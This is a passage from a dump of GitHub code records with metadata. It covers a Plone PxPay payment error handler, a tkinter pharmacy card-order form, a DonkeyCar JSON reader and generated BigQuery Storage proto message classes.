"line_number": 58, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 35, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 35, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 36, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 36, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 39, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 40, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 44, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 45, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 48, "usage_type": "attribute"}]}
{"seq_id": "17619130891", "text": "from zope.interface import implements\nfrom zope.component import getUtility\nfrom hurry.workflow.interfaces import IWorkflowState\n\nfrom Products.CMFCore.utils import getToolByName\n\nfrom getpaid.core.interfaces import IOrderManager\nfrom getpaid.core.interfaces import workflow_states\n\nfrom getpaid.pxpay.interfaces import IPXPayInvalidMessageError, \\\n     IPXPayNetworkError\nfrom getpaid.pxpay.exceptions import PXPayInvalidMessageException, \\\n     PXPayNetworkException\n\nfs = workflow_states.order.finance\n\n\ndef redirect_url(context, order_id):\n    site_root = getToolByName(context, 'portal_url').getPortalObject()\n    site_url = site_root.absolute_url()\n    return_url = '/'.join((site_url,\n                           '@@getpaid-order',\n                           order_id,\n                           '@@pxpay-communication-error'))\n    return return_url\n\n\nclass PXPayInvalidMessageError(object):\n\n    implements(IPXPayInvalidMessageError)\n\n    redirect = True\n\n    def __call__(self, context, request, order_id, message):\n        msg = \"invalid message recieved from pxpay \"\n        if order_id:\n            msg += \"order \" + order_id\n            order_manager = getUtility( IOrderManager )\n            order = order_manager.get(order_id)\n            state = order.finance_workflow.state().getState()\n            if state == fs.REVIEWING:\n                order.finance_workflow.fireTransition('processor-cancelled',\n                                                      comment=\"payment gateway failed\")\n            if state == fs.CHARGING:\n                order.finance_workflow.fireTransition('processor-charging-cancelled',\n                                                      comment=\"payment gateway failed\")\n        if not self.redirect:\n            raise PXPayInvalidMessageException(\"Invalid pxpay message for order \" + \\\n                                               order_id)\n        url = redirect_url(context, order_id)\n        request.response.redirect(url)\n\n\nclass PXPayNetworkError(object):\n\n    implements(IPXPayNetworkError)\n\n    redirect = True\n\n    def __call__(self, context, request, order_id):\n        msg = \"invalid message recieved from pxpay \"\n        if order_id:\n            msg += \"order \" + order_id\n            order_manager = getUtility( IOrderManager )\n            order = order_manager.get(order_id)\n            state = order.finance_workflow.state().getState()\n            if state == fs.REVIEWING:\n                order.finance_workflow.fireTransition('processor-cancelled',\n                                                      comment=\"payment gateway failed\")\n            if state == fs.CHARGING:\n                order.finance_workflow.fireTransition('processor-charging-cancelled',\n                                                      comment=\"payment gateway failed\")\n\n        if not self.redirect:\n            raise PXPayNetworkException(\"PXPay network error occured for order \" + \\\n                                        order_id)\n        url = redirect_url(context, order_id)\n        request.response.redirect(url)\n\n", "repo_name": "collective/getpaid.pxpay", "sub_path": "src/getpaid/pxpay/errors.py", "file_name": "errors.py", "file_ext": "py", "file_size_in_byte": 3065, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "getpaid.core.interfaces.workflow_states.order", "line_number": 15, "usage_type": "attribute"}, {"api_name": "getpaid.core.interfaces.workflow_states", "line_number": 15, "usage_type": "name"}, {"api_name": "Products.CMFCore.utils.getToolByName", "line_number": 19, "usage_type": "call"}, {"api_name": "zope.interface.implements", "line_number": 30, "usage_type": "call"}, {"api_name": "getpaid.pxpay.interfaces.IPXPayInvalidMessageError", "line_number": 30, "usage_type": "argument"}, {"api_name": "zope.component.getUtility", "line_number": 38, "usage_type": "call"}, {"api_name": "getpaid.core.interfaces.IOrderManager", "line_number": 38, "usage_type": "argument"}, {"api_name": "getpaid.pxpay.exceptions.PXPayInvalidMessageException", "line_number": 48, "usage_type": "call"}, {"api_name": "zope.interface.implements", "line_number": 56, "usage_type": "call"}, {"api_name": "getpaid.pxpay.interfaces.IPXPayNetworkError", "line_number": 56, "usage_type": "argument"}, {"api_name": "zope.component.getUtility", "line_number": 64, "usage_type": "call"}, {"api_name": "getpaid.core.interfaces.IOrderManager", "line_number": 64, "usage_type": "argument"}, {"api_name": "getpaid.pxpay.exceptions.PXPayNetworkException", "line_number": 75, "usage_type": "call"}]}
{"seq_id": "34724031070", "text": "from tkinter import *\nfrom tkinter import messagebox\nfrom tkinter import ttk\nfrom PIL import ImageTk, Image\nfrom test import *\n\nclass Order_Page:\n    def __init__(self, root):\n        self.root = root\n        self.root.title(\"PHARMACY\")\n        self.root.geometry(\"1440x880+0+0\")\n\n        self.bg_img = ImageTk.PhotoImage(file = \"bg_img_4.jpg\")\n        bg = Label(self.root, image = self.bg_img)\n        bg.place(x = -200, y = -10)\n\n        def Exit():\n            self.root.destroy()\n\n        def Order():\n            Card = Card_entry.get()\n            CVV = CVV_entry.get()\n            Phone = Phone_entry.get()\n\n            if len(Card) != 0 and len(CVV) != 0 and len(Phone) != 0:\n                if len(Card) == 16:\n                    if len(CVV) == 3:\n                        if len(Phone) == 10:\n                            messagebox.showinfo(\"THANK YOU\", \"YOUR ORDER WAS PLACED\\n\\n\\t      THANK YOU\\n\\t      VISIT AGAIN\")\n                            Exit()\n                        else:\n                            messagebox.showinfo(\"ERROR\", \"INVALID PHONE NUMBER\")\n                    else:\n                        messagebox.showinfo(\"ERROR\", \"INVALID CVV\")\n                else:\n                    messagebox.showinfo(\"ERROR\", \"INVALID CARD NUMBER\")\n            else:\n                messagebox.showinfo(\"ERROR\", \"PLEASE ENTER THE CORRECT DETAILS\")\n\n        Login_canvas = Canvas(self.root, width = 570, height = 400, bg = \"#14a3df\")\n        Login_canvas.place(x = 420, y = 300)\n\n        title = Label(self.root, text = \"PHARMACY\", font = (\"times new roman\", 100, \"bold\"), bg = \"yellow\", fg = \"red\", bd = 10, relief = GROOVE)\n        title.place(x = 0, y = 0, relwidth = 1)\n\n        place_order_title = Label(Login_canvas, text = \"PLACE ORDER\", font = (\"times new roman\", 50, \"bold\"), bg = \"yellow\", fg = \"red\", bd = 10, relief = GROOVE)\n        place_order_title.place(x = 0, y = 0, relwidth = 1)\n\n        order_button = Button(Login_canvas, text = \"   ORDER   \", font = (\"times new roman\", 30, \"bold\"), relief = GROOVE, command = lambda:Order())\n        order_button.place(x = 370, y = 350)\n\n        exit_button = Button(Login_canvas, text = \"    EXIT    \", font = (\"times new roman\", 30, \"bold\"), relief = GROOVE, command = lambda:Exit())\n        exit_button.place(x = 50, y = 350)\n\n        Card_Lable = Label(Login_canvas, text = \" CARD NUMBER:  \", font = (\"times new roman\", 30, \"bold\"))\n        Card_Lable.place(x = 15, y = 140)\n\n        CVV_Lable = Label(Login_canvas, text = \"   CVV NUMBER:   \", font = (\"times new roman\", 30, \"bold\"))\n        CVV_Lable.place(x = 15, y = 200)\n\n        Phone_Lable = Label(Login_canvas, text = \"PHONE NUMBER:\", font = (\"times new roman\", 30, \"bold\"))\n        Phone_Lable.place(x = 15, y = 260)\n\n        Card_entry = Entry(Login_canvas, font = (\"times new roman\", 25, \"bold\"), fg = \"black\", bg = \"white\", relief = GROOVE )\n        Card_entry.place(x = 290, y = 140)\n\n        CVV_entry = Entry(Login_canvas, font = (\"times new roman\", 25, \"bold\"), fg = \"black\", bg = \"white\", relief = GROOVE)\n        CVV_entry.place(x = 290, y = 200)\n\n        Phone_entry = Entry(Login_canvas, font = (\"times new roman\", 25, \"bold\"), fg = \"black\", bg = \"white\", relief = GROOVE)\n        Phone_entry.place(x = 290, y = 260)\n\n# OP = Tk()\n# Order_Page(OP)\n# OP.mainloop()\n", "repo_name": "09ghostrider/PHARMACY_MANAGEMENT_SYSTEM", "sub_path": "ORDER_PAGE.py", "file_name": "ORDER_PAGE.py", "file_ext": "py", "file_size_in_byte": 3308, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "PIL.ImageTk.PhotoImage", "line_number": 13, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 13, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 29, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 29, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 32, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 32, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 34, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 34, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 36, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 36, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 38, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 38, "usage_type": "name"}]}
{"seq_id": "73429601851", "text": "# program to read a DonkeyCar Catalog File\nimport os,json\n\n# this program assumes that test.json is in the same directory as this script\n# get the direcotry that this script is running\nscript_dir = os.path.dirname(__file__)\n# get a relative path to the script dir\npath_to_json_file = script_dir + '/test.json'\n\n# Open the JSON test file for read only\nf = open(path_to_json_file, 'r')\n  \n# returns JSON object as a dictionary\ndata = json.load(f)\n  \n# Iterating through the json file for the items in the drive data dictionary\nfor i in data['driveData']:\n    print(i)\n  \n# Close the JSON file\nf.close()", "repo_name": "CoderDojoTC/ai-racing-league", "sub_path": "src/data-analysis/read-json.py", "file_name": "read-json.py", "file_ext": "py", "file_size_in_byte": 600, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.dirname", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 14, "usage_type": "call"}]}
{"seq_id": "970295813", "text": "from __future__ import annotations\n\nfrom typing import MutableMapping, MutableSequence\n\nimport proto  # type: ignore\n\nfrom google.cloud.bigquery_storage_v1.types import arrow\nfrom google.cloud.bigquery_storage_v1.types import avro\nfrom google.cloud.bigquery_storage_v1.types import protobuf\nfrom google.cloud.bigquery_storage_v1.types import stream\nfrom google.cloud.bigquery_storage_v1.types import table\nfrom google.protobuf import timestamp_pb2  # type: ignore\nfrom google.protobuf import wrappers_pb2  # type: ignore\nfrom google.rpc import status_pb2  # type: ignore\n\n\n__protobuf__ = proto.module(\n    package=\"google.cloud.bigquery.storage.v1\",\n    manifest={\n        \"CreateReadSessionRequest\",\n        \"ReadRowsRequest\",\n        \"ThrottleState\",\n        \"StreamStats\",\n        \"ReadRowsResponse\",\n        \"SplitReadStreamRequest\",\n        \"SplitReadStreamResponse\",\n        \"CreateWriteStreamRequest\",\n        \"AppendRowsRequest\",\n        \"AppendRowsResponse\",\n        \"GetWriteStreamRequest\",\n        \"BatchCommitWriteStreamsRequest\",\n        \"BatchCommitWriteStreamsResponse\",\n        \"FinalizeWriteStreamRequest\",\n        \"FinalizeWriteStreamResponse\",\n        \"FlushRowsRequest\",\n        \"FlushRowsResponse\",\n        \"StorageError\",\n        \"RowError\",\n    },\n)\n\n\nclass CreateReadSessionRequest(proto.Message):\n    r\"\"\"Request message for ``CreateReadSession``.\n\n    Attributes:\n        parent (str):\n            Required. The request project that owns the session, in the\n            form of ``projects/{project_id}``.\n        read_session (google.cloud.bigquery_storage_v1.types.ReadSession):\n            Required. Session to be created.\n        max_stream_count (int):\n            Max initial number of streams. If unset or zero, the server\n            will provide a value of streams so as to produce reasonable\n            throughput. Must be non-negative. The number of streams may\n            be lower than the requested number, depending on the amount\n            parallelism that is reasonable for the table. There is a\n            default system max limit of 1,000.\n\n            This must be greater than or equal to\n            preferred_min_stream_count. Typically, clients should either\n            leave this unset to let the system to determine an upper\n            bound OR set this a size for the maximum \"units of work\" it\n            can gracefully handle.\n        preferred_min_stream_count (int):\n            The minimum preferred stream count. This\n            parameter can be used to inform the service that\n            there is a desired lower bound on the number of\n            streams. This is typically a target parallelism\n            of the client (e.g. a Spark cluster with\n            N-workers would set this to a low multiple of N\n            to ensure good cluster utilization).\n\n            The system will make a best effort to provide at\n            least this number of streams, but in some cases\n            might provide less.\n    \"\"\"\n\n    parent: str = proto.Field(\n        proto.STRING,\n        number=1,\n    )\n    read_session: stream.ReadSession = proto.Field(\n        proto.MESSAGE,\n        number=2,\n        message=stream.ReadSession,\n    )\n    max_stream_count: int = proto.Field(\n        proto.INT32,\n        number=3,\n    )\n    preferred_min_stream_count: int = proto.Field(\n        proto.INT32,\n        number=4,\n    )\n\n\nclass ReadRowsRequest(proto.Message):\n    r\"\"\"Request message for ``ReadRows``.\n\n    Attributes:\n        read_stream (str):\n            Required. Stream to read rows from.\n        offset (int):\n            The offset requested must be less than the\n            last row read from Read. Requesting a larger\n            offset is undefined. If not specified, start\n            reading from offset zero.\n    \"\"\"\n\n    read_stream: str = proto.Field(\n        proto.STRING,\n        number=1,\n    )\n    offset: int = proto.Field(\n        proto.INT64,\n        number=2,\n    )\n\n\nclass ThrottleState(proto.Message):\n    r\"\"\"Information on if the current connection is being throttled.\n\n    Attributes:\n        throttle_percent (int):\n            How much this connection is being throttled.\n            Zero means no throttling, 100 means fully\n            throttled.\n    \"\"\"\n\n    throttle_percent: int = proto.Field(\n        proto.INT32,\n        number=1,\n    )\n\n\nclass StreamStats(proto.Message):\n    r\"\"\"Estimated stream statistics for a given read Stream.\n\n    Attributes:\n        progress (google.cloud.bigquery_storage_v1.types.StreamStats.Progress):\n            Represents the progress of the current\n            stream.\n    \"\"\"\n\n    class Progress(proto.Message):\n        r\"\"\"\n\n        Attributes:\n            at_response_start (float):\n                The fraction of rows assigned to the stream that have been\n                processed by the server so far, not including the rows in\n                the current response message.\n\n                This value, along with ``at_response_end``, can be used to\n                interpolate the progress made as the rows in the message are\n                being processed using the following formula:\n                ``at_response_start + (at_response_end - at_response_start) * rows_processed_from_response / rows_in_response``.\n\n                Note that if a filter is provided, the ``at_response_end``\n                value of the previous response may not necessarily be equal\n                to the ``at_response_start`` value of the current response.\n            at_response_end (float):\n                Similar to ``at_response_start``, except that this value\n                includes the rows in the current response.\n        \"\"\"\n\n        at_response_start: float = proto.Field(\n            proto.DOUBLE,\n            number=1,\n        )\n        at_response_end: float = proto.Field(\n            proto.DOUBLE,\n            number=2,\n        )\n\n    progress: Progress = proto.Field(\n        proto.MESSAGE,\n        number=2,\n        message=Progress,\n    )\n\n\nclass ReadRowsResponse(proto.Message):\n    r\"\"\"Response from calling ``ReadRows`` may include row data, progress\n    and throttling information.\n\n    This message has `oneof`_ fields (mutually exclusive fields).\n    For each oneof, at most one member field can be set at the same time.\n    Setting any member of the oneof automatically clears all other\n    members.\n\n    .. _oneof: https://proto-plus-python.readthedocs.io/en/stable/fields.html#oneofs-mutually-exclusive-fields\n\n    Attributes:\n        avro_rows (google.cloud.bigquery_storage_v1.types.AvroRows):\n            Serialized row data in AVRO format.\n\n            This field is a member of `oneof`_ ``rows``.\n        arrow_record_batch (google.cloud.bigquery_storage_v1.types.ArrowRecordBatch):\n            Serialized row data in Arrow RecordBatch\n            format.\n\n            This field is a member of `oneof`_ ``rows``.\n        row_count (int):\n            Number of serialized rows in the rows block.\n        stats (google.cloud.bigquery_storage_v1.types.StreamStats):\n            Statistics for the stream.\n        throttle_state (google.cloud.bigquery_storage_v1.types.ThrottleState):\n            Throttling state. If unset, the latest\n            response still describes the current throttling\n            status.\n        avro_schema (google.cloud.bigquery_storage_v1.types.AvroSchema):\n            Output only. Avro schema.\n\n            This field is a member of `oneof`_ ``schema``.\n        arrow_schema (google.cloud.bigquery_storage_v1.types.ArrowSchema):\n            Output only. Arrow schema.\n\n            This field is a member of `oneof`_ ``schema``.\n    \"\"\"\n\n    avro_rows: avro.AvroRows = proto.Field(\n        proto.MESSAGE,\n        number=3,\n        oneof=\"rows\",\n        message=avro.AvroRows,\n    )\n    arrow_record_batch: arrow.ArrowRecordBatch = proto.Field(\n        proto.MESSAGE,\n        number=4,\n        oneof=\"rows\",\n        message=arrow.ArrowRecordBatch,\n    )\n    row_count: int = proto.Field(\n        proto.INT64,\n        number=6,\n    )\n    stats: \"StreamStats\" = proto.Field(\n        proto.MESSAGE,\n        number=2,\n        message=\"StreamStats\",\n    )\n    throttle_state: \"ThrottleState\" = proto.Field(\n        proto.MESSAGE,\n        number=5,\n        message=\"ThrottleState\",\n    )\n    avro_schema: avro.AvroSchema = proto.Field(\n        proto.MESSAGE,\n        number=7,\n        oneof=\"schema\",\n        message=avro.AvroSchema,\n    )\n    arrow_schema: arrow.ArrowSchema = proto.Field(\n        proto.MESSAGE,\n        number=8,\n        oneof=\"schema\",\n        message=arrow.ArrowSchema,\n    )\n\n\nclass SplitReadStreamRequest(proto.Message):\n    r\"\"\"Request message for ``SplitReadStream``.\n\n    Attributes:\n        name (str):\n            Required. Name of the stream to split.\n        fraction (float):\n            A value in the range (0.0, 1.0) that\n            specifies the fractional point at which the\n            original stream should be split. The actual\n            split point is evaluated on pre-filtered rows,\n            so if a filter is provided, then there is no\n            guarantee that the division of the rows between\n            the new child streams will be proportional to\n            this fractional value. Additionally, because the\n            server-side unit for assigning data is\n            collections of rows, this fraction will always\n            map to a data storage boundary on the server\n            side.\n    \"\"\"\n\n    name: str = proto.Field(\n        proto.STRING,\n        number=1,\n    )\n    fraction: float = proto.Field(\n        proto.DOUBLE,\n        number=2,\n    )\n\n\nclass SplitReadStreamResponse(proto.Message):\n    r\"\"\"Response message for ``SplitReadStream``.\n\n    Attributes:\n        primary_stream (google.cloud.bigquery_storage_v1.types.ReadStream):\n            Primary stream, which contains the beginning portion of\n            \\|original_stream|. An empty value indicates that the\n            original stream can no longer be split.\n        remainder_stream (google.cloud.bigquery_storage_v1.types.ReadStream):\n            Remainder stream, which contains the tail of\n            \\|original_stream|. An empty value indicates that the\n            original stream can no longer be split.\n    \"\"\"\n\n    primary_stream: stream.ReadStream = proto.Field(\n        proto.MESSAGE,\n        number=1,\n        message=stream.ReadStream,\n    )\n    remainder_stream: stream.ReadStream = proto.Field(\n        proto.MESSAGE,\n        number=2,\n        message=stream.ReadStream,\n    )\n\n\nclass CreateWriteStreamRequest(proto.Message):\n    r\"\"\"Request message for ``CreateWriteStream``.\n\n    Attributes:\n        parent (str):\n            Required. Reference to the table to which the stream\n            belongs, in the format of\n            ``projects/{project}/datasets/{dataset}/tables/{table}``.\n        write_stream (google.cloud.bigquery_storage_v1.types.WriteStream):\n            Required. Stream to be created.\n    \"\"\"\n\n    parent: str = proto.Field(\n        proto.STRING,\n        number=1,\n    )\n    write_stream: stream.WriteStream = proto.Field(\n        proto.MESSAGE,\n        number=2,\n        message=stream.WriteStream,\n    )\n\n\nclass AppendRowsRequest(proto.Message):\n    r\"\"\"Request message for ``AppendRows``.\n\n    Because AppendRows is a bidirectional streaming RPC, certain parts\n    of the AppendRowsRequest need only be specified for the first\n    request before switching table destinations. You can also switch\n    table destinations within the same connection for the default\n    stream.\n\n    The size of a single AppendRowsRequest must be less than 10 MB in\n    size. Requests larger than this return an error, typically\n    ``INVALID_ARGUMENT``.\n\n\n    .. _oneof: https://proto-plus-python.readthedocs.io/en/stable/fields.html#oneofs-mutually-exclusive-fields\n\n    Attributes:\n        write_stream (str):\n            Required. The write_stream identifies the append operation.\n            It must be provided in the following scenarios:\n\n            -  In the first request to an AppendRows connection.\n\n            -  In all subsequent requests to an AppendRows connection,\n               if you use the same connection to write to multiple\n               tables or change the input schema for default streams.\n\n            For explicitly created write streams, the format is:\n\n            -  ``projects/{project}/datasets/{dataset}/tables/{table}/streams/{id}``\n\n            For the special default stream, the format is:\n\n            -  ``projects/{project}/datasets/{dataset}/tables/{table}/streams/_default``.\n\n            An example of a possible sequence of requests with\n            write_stream fields within a single connection:\n\n            -  r1: {write_stream: stream_name_1}\n\n            -  r2: {write_stream: /*omit*/}\n\n            -  r3: {write_stream: /*omit*/}\n\n            -  r4: {write_stream: stream_name_2}\n\n            -  r5: {write_stream: stream_name_2}\n\n            The destination changed in request_4, so the write_stream\n            field must be populated in all subsequent requests in this\n            stream.\n        offset (google.protobuf.wrappers_pb2.Int64Value):\n            If present, the write is only performed if the next append\n            offset is same as the provided value. If not present, the\n            write is performed at the current end of stream. Specifying\n            a value for this field is not allowed when calling\n            AppendRows for the '_default' stream.\n        proto_rows (google.cloud.bigquery_storage_v1.types.AppendRowsRequest.ProtoData):\n            Rows in proto format.\n\n            This field is a member of `oneof`_ ``rows``.\n        trace_id (str):\n            Id set by client to annotate its identity.\n            Only initial request setting is respected.\n        missing_value_interpretations (MutableMapping[str, google.cloud.bigquery_storage_v1.types.AppendRowsRequest.MissingValueInterpretation]):\n            A map to indicate how to interpret missing value for some\n            fields. Missing values are fields present in user schema but\n            missing in rows. The key is the field name. The value is the\n            interpretation of missing values for the field.\n\n            For example, a map {'foo': NULL_VALUE, 'bar': DEFAULT_VALUE}\n            means all missing values in field foo are interpreted as\n            NULL, all missing values in field bar are interpreted as the\n            default value of field bar in table schema.\n\n            If a field is not in this map and has missing values, the\n            missing values in this field are interpreted as NULL.\n\n            This field only applies to the current request, it won't\n            affect other requests on the connection.\n\n            Currently, field name can only be top-level column name,\n            can't be a struct field path like 'foo.bar'.\n        default_missing_value_interpretation (google.cloud.bigquery_storage_v1.types.AppendRowsRequest.MissingValueInterpretation):\n            Optional. Default missing value interpretation for all\n            columns in the table. When a value is specified on an\n            ``AppendRowsRequest``, it is applied to all requests on the\n            connection from that point forward, until a subsequent\n            ``AppendRowsRequest`` sets it to a different value.\n            ``missing_value_interpretation`` can override\n            ``default_missing_value_interpretation``. For example, if\n            you want to write ``NULL`` instead of using default values\n            for some columns, you can set\n            ``default_missing_value_interpretation`` to\n            ``DEFAULT_VALUE`` and at the same time, set\n            ``missing_value_interpretations`` to ``NULL_VALUE`` on those\n            columns.\n    \"\"\"\n\n    class MissingValueInterpretation(proto.Enum):\n        r\"\"\"An enum to indicate how to interpret missing values of fields\n        that are present in user schema but missing in rows. A missing\n        value can represent a NULL or a column default value defined in\n        BigQuery table schema.\n\n        Values:\n            MISSING_VALUE_INTERPRETATION_UNSPECIFIED (0):\n                Invalid missing value interpretation.\n                Requests with this value will be rejected.\n            NULL_VALUE (1):\n                Missing value is interpreted as NULL.\n            DEFAULT_VALUE (2):\n                Missing value is interpreted as column\n                default value if declared in the table schema,\n                NULL otherwise.\n        \"\"\"\n        MISSING_VALUE_INTERPRETATION_UNSPECIFIED = 0\n        NULL_VALUE = 1\n        DEFAULT_VALUE = 2\n\n    class ProtoData(proto.Message):\n        r\"\"\"ProtoData contains the data rows and schema when constructing\n        append requests.\n\n        Attributes:\n            writer_schema (google.cloud.bigquery_storage_v1.types.ProtoSchema):\n                The protocol buffer schema used to serialize the data.\n                Provide this value whenever:\n\n                -  You send the first request of an RPC connection.\n\n                -  You change the input schema.\n\n                -  You specify a new destination table.\n            rows (google.cloud.bigquery_storage_v1.types.ProtoRows):\n                Serialized row data in protobuf message\n                format. Currently, the backend expects the\n                serialized rows to adhere to proto2 semantics\n                when appending rows, particularly with respect\n                to how default values are encoded.\n        \"\"\"\n\n        writer_schema: protobuf.ProtoSchema = proto.Field(\n            proto.MESSAGE,\n            number=1,\n            message=protobuf.ProtoSchema,\n        )\n        rows: protobuf.ProtoRows = proto.Field(\n            proto.MESSAGE,\n            number=2,\n            message=protobuf.ProtoRows,\n        )\n\n    write_stream: str = proto.Field(\n        proto.STRING,\n        number=1,\n    )\n    offset: wrappers_pb2.Int64Value = proto.Field(\n        proto.MESSAGE,\n        number=2,\n        message=wrappers_pb2.Int64Value,\n    )\n    proto_rows: ProtoData = proto.Field(\n        proto.MESSAGE,\n        number=4,\n        oneof=\"rows\",\n        message=ProtoData,\n    )\n    trace_id: str = proto.Field(\n        proto.STRING,\n        number=6,\n    )\n    missing_value_interpretations: MutableMapping[\n        str, MissingValueInterpretation\n    ] = proto.MapField(\n        proto.STRING,\n        proto.ENUM,\n        number=7,\n        enum=MissingValueInterpretation,\n    )\n    default_missing_value_interpretation: MissingValueInterpretation = proto.Field(\n        proto.ENUM,\n        number=8,\n        enum=MissingValueInterpretation,\n    )\n\n\nclass AppendRowsResponse(proto.Message):\n    r\"\"\"Response message for ``AppendRows``.\n\n    This message has `oneof`_ fields (mutually exclusive fields).\n    For each oneof, at most one member field can be set at the same time.\n    Setting any member of the oneof automatically clears all other\n    members.\n\n    .. _oneof: https://proto-plus-python.readthedocs.io/en/stable/fields.html#oneofs-mutually-exclusive-fields\n\n    Attributes:\n        append_result (google.cloud.bigquery_storage_v1.types.AppendRowsResponse.AppendResult):\n            Result if the append is successful.\n\n            This field is a member of `oneof`_ ``response``.\n        error (google.rpc.status_pb2.Status):\n            Error returned when problems were encountered. If present,\n            it indicates rows were not accepted into the system. Users\n            can retry or continue with other append requests within the\n            same connection.\n\n            Additional information about error signalling:\n\n            ALREADY_EXISTS: Happens when an append specified an offset,\n            and the backend already has received data at this offset.\n            Typically encountered in retry scenarios, and can be\n            ignored.\n\n            OUT_OF_RANGE: Returned when the specified offset in the\n            stream is beyond the current end of the stream.\n\n            INVALID_ARGUMENT: Indicates a malformed request or data.\n\n            ABORTED: Request processing is aborted because of prior\n            failures. The request can be retried if previous failure is\n            addressed.\n\n            INTERNAL: Indicates server side error(s) that can be\n            retried.\n\n            This field is a member of `oneof`_ ``response``.\n        updated_schema (google.cloud.bigquery_storage_v1.types.TableSchema):\n            If backend detects a schema update, pass it\n            to user so that user can use it to input new\n            type of message. It will be empty when no schema\n            updates have occurred.\n        row_errors (MutableSequence[google.cloud.bigquery_storage_v1.types.RowError]):\n            If a request failed due to corrupted rows, no\n            rows in the batch will be appended. The API will\n            return row level error info, so that the caller\n            can remove the bad rows and retry the request.\n        write_stream (str):\n            The target of the append operation. Matches the write_stream\n            in the corresponding request.\n    \"\"\"\n\n    class AppendResult(proto.Message):\n        r\"\"\"AppendResult is returned for successful append requests.\n\n        Attributes:\n            offset (google.protobuf.wrappers_pb2.Int64Value):\n                The row offset at which the last append\n                occurred. The offset will not be set if\n                appending using default streams.\n        \"\"\"\n\n        offset: wrappers_pb2.Int64Value = proto.Field(\n            proto.MESSAGE,\n            number=1,\n            message=wrappers_pb2.Int64Value,\n        )\n\n    append_result: AppendResult = proto.Field(\n        proto.MESSAGE,\n        number=1,\n        oneof=\"response\",\n        message=AppendResult,\n    )\n    error: status_pb2.Status = proto.Field(\n        proto.MESSAGE,\n        number=2,\n        oneof=\"response\",\n        message=status_pb2.Status,\n    )\n    updated_schema: table.TableSchema = proto.Field(\n        proto.MESSAGE,\n        number=3,\n        message=table.TableSchema,\n    )\n    row_errors: MutableSequence[\"RowError\"] = proto.RepeatedField(\n        proto.MESSAGE,\n        number=4,\n        message=\"RowError\",\n    )\n    write_stream: str = proto.Field(\n        proto.STRING,\n        number=5,\n    )\n\n\nclass GetWriteStreamRequest(proto.Message):\n    r\"\"\"Request message for ``GetWriteStreamRequest``.\n\n    Attributes:\n        name (str):\n            Required. Name of the stream to get, in the form of\n            ``projects/{project}/datasets/{dataset}/tables/{table}/streams/{stream}``.\n        view (google.cloud.bigquery_storage_v1.types.WriteStreamView):\n            Indicates whether to get full or partial view\n            of the WriteStream. If not set, view returned\n            will be basic.\n    \"\"\"\n\n    name: str = proto.Field(\n        proto.STRING,\n        number=1,\n    )\n    view: stream.WriteStreamView = proto.Field(\n        proto.ENUM,\n        number=3,\n        enum=stream.WriteStreamView,\n    )\n\n\nclass BatchCommitWriteStreamsRequest(proto.Message):\n    r\"\"\"Request message for ``BatchCommitWriteStreams``.\n\n    Attributes:\n        parent (str):\n            Required. Parent table that all the streams should belong\n            to, in the form of\n            ``projects/{project}/datasets/{dataset}/tables/{table}``.\n        write_streams (MutableSequence[str]):\n            Required. The group of streams that will be\n            committed atomically.\n    \"\"\"\n\n    parent: str = proto.Field(\n        proto.STRING,\n        number=1,\n    )\n    write_streams: MutableSequence[str] = proto.RepeatedField(\n        proto.STRING,\n        number=2,\n    )\n\n\nclass BatchCommitWriteStreamsResponse(proto.Message):\n    r\"\"\"Response message for ``BatchCommitWriteStreams``.\n\n    Attributes:\n        commit_time (google.protobuf.timestamp_pb2.Timestamp):\n            The time at which streams were committed in microseconds\n            granularity. This field will only exist when there are no\n            stream errors. **Note** if this field is not set, it means\n            the commit was not successful.\n        stream_errors (MutableSequence[google.cloud.bigquery_storage_v1.types.StorageError]):\n            Stream level error if commit failed. Only\n            streams with error will be in the list.\n            If empty, there is no error and all streams are\n            committed successfully. If non empty, certain\n            streams have errors and ZERO stream is committed\n            due to atomicity guarantee.\n    \"\"\"\n\n    commit_time: timestamp_pb2.Timestamp = proto.Field(\n        proto.MESSAGE,\n        number=1,\n        message=timestamp_pb2.Timestamp,\n    )\n    stream_errors: MutableSequence[\"StorageError\"] = proto.RepeatedField(\n        proto.MESSAGE,\n        number=2,\n        message=\"StorageError\",\n    )\n\n\nclass FinalizeWriteStreamRequest(proto.Message):\n    r\"\"\"Request message for invoking ``FinalizeWriteStream``.\n\n    Attributes:\n        name (str):\n            Required. Name of the stream to finalize, in the form of\n            ``projects/{project}/datasets/{dataset}/tables/{table}/streams/{stream}``.\n    \"\"\"\n\n    name: str = proto.Field(\n        proto.STRING,\n        number=1,\n    )\n\n\nclass FinalizeWriteStreamResponse(proto.Message):\n    r\"\"\"Response message for ``FinalizeWriteStream``.\n\n    Attributes:\n        row_count (int):\n            Number of rows in the finalized stream.\n    \"\"\"\n\n    row_count: int = proto.Field(\n        proto.INT64,\n        number=1,\n    )\n\n\nclass FlushRowsRequest(proto.Message):\n    r\"\"\"Request message for ``FlushRows``.\n\n    Attributes:\n        